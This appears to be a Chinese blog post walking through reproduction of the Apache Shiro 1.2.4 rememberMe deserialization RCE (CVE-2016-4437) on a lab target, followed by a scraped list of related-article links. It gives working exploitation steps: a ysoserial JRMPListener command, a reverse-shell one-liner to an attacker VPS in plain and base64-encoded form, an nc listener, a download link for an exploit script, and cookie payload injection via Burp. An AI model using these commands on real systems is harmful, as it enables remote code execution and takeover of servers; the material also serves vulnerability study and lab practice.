前言:

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

影响版本:

Apache Shiro <= 1.2.4

漏洞原理:

Apache Shiro 1.2.4及以前版本中,Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

漏洞特征:

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

漏洞复现:

  1. vps机器,java环境
  2. 版本Apache Shiro <=1.2.4
  3. http请求包cookie中的RememberMe参数
  4. 靶场地址:http://vulfocus.fofa.so/
  5. exp下载地址:https://pan.baidu.com/share/init?surl=yH6phKiN3F5RihRXSPe-Qg(提取码pstc)

第一步:启动靶机后,访问URL通过burp抓包,判断环境存在shiro,查看返回包中Set-Cookie中是否存在rememberMe=deleteMe

第二步:打开公网vps,执行如下命令:(注意这里监听的端口为1099)

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反弹 shell 的命令"

这里的命令需要使用Java Runtime配置bash编码。
在线编码转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html
转换命令如下:(这里是反弹shell的端口为1234)

bash -i >& /dev/tcp/VPS公网ip/1234 0>&1

第三步:最终在VPS上执行的命令如下:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTMuOS4zNC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"


第四步:使用exp.py生成payload,需要python2的环境,命令如下:

python2 exp.py 公网VPS:1099   (注意这里的端口为1099)

红色框标出的为生成的payload

第五步:在VPS上,使用nc监听1234端口,命令如下:

nc -lvvp 1234


第六步:通过burp抓取任意的http数据包,在cookie中添加生成的payload

第七步:通过burp发送数据包,查看VPS中java监听接口,nc监听结果。

【漏洞复现】ApacheShiro1.2.4反序列化漏洞复现(CVE-2016-4437)相关推荐

  1. 漏洞复现-Phpmyadmin setup.php反序列化漏洞(WooYun-2016-199433)

    Phpmyadmin setup漏洞复现 漏洞描述 影响版本 漏洞复现 漏洞修复 漏洞描述 phpMyAdmin是用PHP编写的工具,用于通过WEB管理MySQL. phpMyAdmin的Setup脚 ...

  2. 【漏洞复现】Apache Shiro 反序列化漏洞

    Apache Shiro 反序列化漏洞 一.简介 二.环境 三.漏洞原理 四.AES秘钥 1.判断AES秘钥 五.Shiro rememberMe反序列化漏洞(Shiro-550) 1.版本1.4.2 ...

  3. rmi 反序列化漏洞_IDEA动态调试(二)——反序列化漏洞(Fastjson)

    一.反序列化的原理及特点 1.什么是反序列化 序列化就是把java类转换成字节流,xml数据.json格式数据等: 反序列化就是把字节流,xml数据.json格式数据转换回java类. 2.反序列化漏 ...

  4. shrio反序列漏洞修复_Apache Shiro Java 反序列化漏洞分析

    Author: rungobier(知道创宇404安全实验室) Date: 2016-08-03 0x00 概述 Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它 ...

  5. linux反序列化漏洞,Apache Camel Java对象反序列化漏洞(CVE-2015-5348)

    Apache Camel Java对象反序列化漏洞(CVE-2015-5348) 发布日期:2015-12-15 更新日期:2015-12-18 受影响系统:Apache Group Camel 描述 ...

  6. vulhub复现之shiro反序列化漏洞复现

    目录 什么是shiro? 什么是安全框架? 反序列化与序列化 shiro反序列化漏洞 怎么判断是否存在反序列化漏洞? 什么是shiro? shiro是功能强大且容易使用的java安全框架.shiro可 ...

  7. YAML出现严重的反序列化漏洞,谷歌TensorFlow将采用 JSON

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 由谷歌开发的基于 Python 的开源机器学习和人工智能项目 TensorFlow 放弃对 YAML 的支持,以修复严重的代码执行漏洞. YAM ...

  8. 深入理解JNDI注入与Java反序列化漏洞利用

    rmi 和 jndi 这些概念,一直接触,但是看了会儿 还是略微懵逼,这篇文章 暂时理清了我的思路 [承上启下]----------------------------------上边属于我自己瞎扯的 ...

  9. 详解PHP反序列化漏洞

    详解PHP反序列化漏洞 序列化与反序列化 定义 常见使用情况 常见的序列化格式 反序列化中常见的魔术方法 反序列化绕过 protected和private绕过 __wakeup绕过(CVE-2016- ...

最新文章

  1. cookie设置httponly属性防护XSS***
  2. (剑指Offer)面试题1:赋值运算符函数
  3. 可扫爆服务器系统,可扫可爆云服务器
  4. 【时间序列】使用微软Power BI进行时间序列预测
  5. matlab LSTM序列分类的官方示例
  6. 真涨工资了:多所高校博士生资助标准大幅度提升
  7. Pytorch:函数的手动梯度计算方法
  8. Java跳出多重循环的方法
  9. 快切——响应css框架之布局结构命名
  10. 供水管道泄漏检测用水听器侦听系统的原因
  11. 中兴新支点操作系统——菜单小教程
  12. 大学计算机课程日记,大学计算机实习日记
  13. 基于TCP的网络应用程序
  14. html插入图片出现红叉,网页上的图片显示为红叉的解决方法
  15. 【Blender报错记录】Bone Heat Weighting: failed to find solution for one or more bones
  16. HDU-6441-Find Integer-费马大定理+奇偶数列法则
  17. 计算机远程安装win7,初试使用Ghost工具远程安装win7操作系统
  18. pytorch并行处理详解(多GPU,环境变量)
  19. SEO优化:7招在手,网站流量提升易如反掌!
  20. VSCODE:从零点五开始运行一个小型vaadin项目

热门文章

  1. java实现单一登录 踢人效果
  2. 2021阿里实习生前端面试题
  3. 不连接显示器或者HDMI欺骗器来 使用Moonlight串流游戏
  4. Elastic 7.15 版:数秒之内打造强大的个性化搜索体验
  5. 原生js实现九宫格抽奖
  6. LeetCode 111-120题 尚未看题解
  7. 判断bigdecimal类型是正负数还是0+bigdecimal正负数转换
  8. 衣服裤子染色了怎么办
  9. knex mysql 操作_mysql – 使用knex.js的我的Sql Alter表
  10. 图像分析之直方图分析